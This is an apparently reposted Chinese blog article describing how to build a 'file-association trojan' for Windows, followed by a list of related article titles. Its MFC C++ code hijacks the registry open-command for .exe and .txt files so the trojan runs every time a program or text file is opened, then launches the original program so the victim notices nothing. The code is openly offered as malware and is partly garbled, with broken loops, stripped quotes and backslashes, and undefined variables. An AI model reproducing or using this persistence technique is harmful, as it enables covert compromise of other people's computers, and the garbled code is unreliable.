檔案關聯型木馬的程式設計思路 (轉)
我們知道一般情況下想在開機啟動,就要把程式寫在登錄檔中的
HKEY_CURRENT_USERSoftwareCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunService
等環境中,由於這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護這些程式是不會執行的,但是如果我們把我們的程式在登錄檔中進行了關聯卻收到了很好的結果。
在登錄檔HKEY_CLASSES_exefileopencommand中的值就是可程式*.exe 的關聯處,預設為“"%1" %*”,如果把這個程式改為我們的程式,那樣的話,每執行一個可執行程式就會執行我們的程式,而不會再執行原有的程式,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動後,再執行原有的程式,這樣對於一般的人來看好像什麼事也沒發生過。好了心動不如行動,我們開始動手做一個吧。
:namespace prefix = o ns = "urn:schemas-microsoft-com::office" />
l 首先用vc建立一個基於對話方塊的程式srart
在CstartDlg加入公有變數 HANDLE hMutex;防止我們的木馬執行多次。
l 在CStartDlg::OnInitDialog()中加入如下:
CString str;
str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令列引數
const char *Mutex="MyStart";//建立互斥
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
D err=GetLastError();
if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果發現同一程式已經執行,則退出
}
if(str!="")
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i { ch=str.GetAt(i); if(ch==') temp=temp+""; else temp=temp+ch; } temp = temp.Left(temp.GetLength() - 2); temp = temp.Mid(1); //上面的函式是把字串中所有的””變為”” char str1[]=""%1" %*"; ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand", REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1); // 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。 ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程式 } //在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的 TCHAR str2[256]; // 得到程式全路徑名 GetModuleFileName( NULL, str2, 255 ); strcat(str2," "%1" %*"); ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand", REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1); //經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在模式下只要執行可執行程式就會執行我們的程式了。 同樣的我們也可以將其它檔案進行關聯,例如將文字檔案進行關聯,在CStartDlg::OnInitDialog()中重新加下程式碼 CString str; str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得傳入的命令列引數 const char *MutexObject="MyStart";//建立互斥物件 hMutex=NULL; hMutex=::CreateMutex(false,false,MutexObject); if(hMutex!=NULL) { DWORD err=GetLastError(); if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果發現同一程式已經執行,則退出 } if(str.Find("txt")!=-1) { CString temp; char ch; int length =str.GetLength(); for(int i=0;i { ch=str.GetAt(i); if(ch==') temp=temp+""; else temp=temp+ch; } temp = temp.Left(temp.GetLength() - 2); temp = temp.Mid(1); //上面的函式是把字串中的""變為"" char str1[]=""%1" %*"; // 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。 ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//執行原有的程式 } //在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的 TCHAR str2[256]; // 得到程式全路徑名 GetModuleFileName( NULL, str2, 255 ); strcat(str2," "%1" %*"); ::RegSetValue(HKEY_CLASSES_ROOT,"txtfileshellopencommand", REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1); //經過上述過程只要程式一執行就會執行我們的start 程式了。 當然了這些程式在自己的機器上執行後還是要恢復的下面的函式就可以幫助進行恢復了 char str2[]="NOTEPAD.EXE %1"; ::RegSetValue(HKEY_CLASSES_ROOT,"txtfileshellopencommand", REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1); char str1[]=""%1" %*"; ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand", REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1); 當然了這個程式在下執行比較正常,在下無法開啟桌面上的資料夾,再也就沒什麼問題了。如果誰知道,請告訴我, sunyuzhe@263
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-992743/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 利用msfvenom生成木馬檔案
- [病毒木馬] 檔案自刪除
- 程式猿生存指南-52 旋轉木馬
- 微信小程式swiper旋轉木馬微信小程式
- 怎麼清理webshell木馬後門檔案Webshell
- 一次minerd肉雞木馬的排查思路
- 檔案程式設計、檔案下載程式設計
- Windows檔案關聯Windows
- 一個不坐旋轉木馬的朋友
- windows 更改檔案關聯Windows
- 程式設計題:尋找木頭程式設計
- 關於美顏sdk中人臉識別專案的設計思路
- Rust 程式設計,讀取檔案Rust程式設計
- Excel和CSV程式設計檔案轉換工具:Easy Data Transform for macExcel程式設計ORMMac
- 用疫情防控思路解決挖礦木馬風險
- 3.python程式設計與計算機的關係,如何執行python檔案Python程式設計計算機
- Kindeditor 漏洞導致網站被植入木馬檔案的解決辦法網站
- 【shell程式設計】目錄檔案計數程式設計
- Python編寫簡易木馬程式Python
- Linux系統程式設計-檔案IOLinux程式設計
- 人大-鴻翼數字檔案聯合實驗室成立 服務檔案數字化轉型
- MMO/FPS遊戲副本關卡的設計思路遊戲
- 如何在 C# 中以程式設計的方式將 CSV 轉為 Excel XLSX 檔案C#程式設計Excel
- 不好的程式設計習慣之檔案下載程式設計
- LINUX下程式開啟的檔案怎麼和底層磁碟關聯的?Linux
- 黑馬程式設計師程式設計師
- 程式設計師是怎麼存檔並管理檔案版本的?程式設計師
- Intelligent Enterprise 和企業數字化轉型的關聯關係Intel
- [轉]關於Linux安裝mysql預設配置檔案位置LinuxMySql
- 程式設計競賽中讀檔案技能程式設計
- [python網路程式設計]檔案上傳Python程式設計
- 實驗7 檔案應用程式設計程式設計
- Linux系統程式設計之檔案IOLinux程式設計
- 程式設計讀寫CAD檔案驗證程式設計
- [開發教程]第35講:Bootstrap旋轉木馬boot
- 外地生源畢業生如何將檔案轉入烏魯木齊?
- 程式設計思路-球連球組成的群程式設計
- 泛型程式設計泛型程式設計
- 木馬學習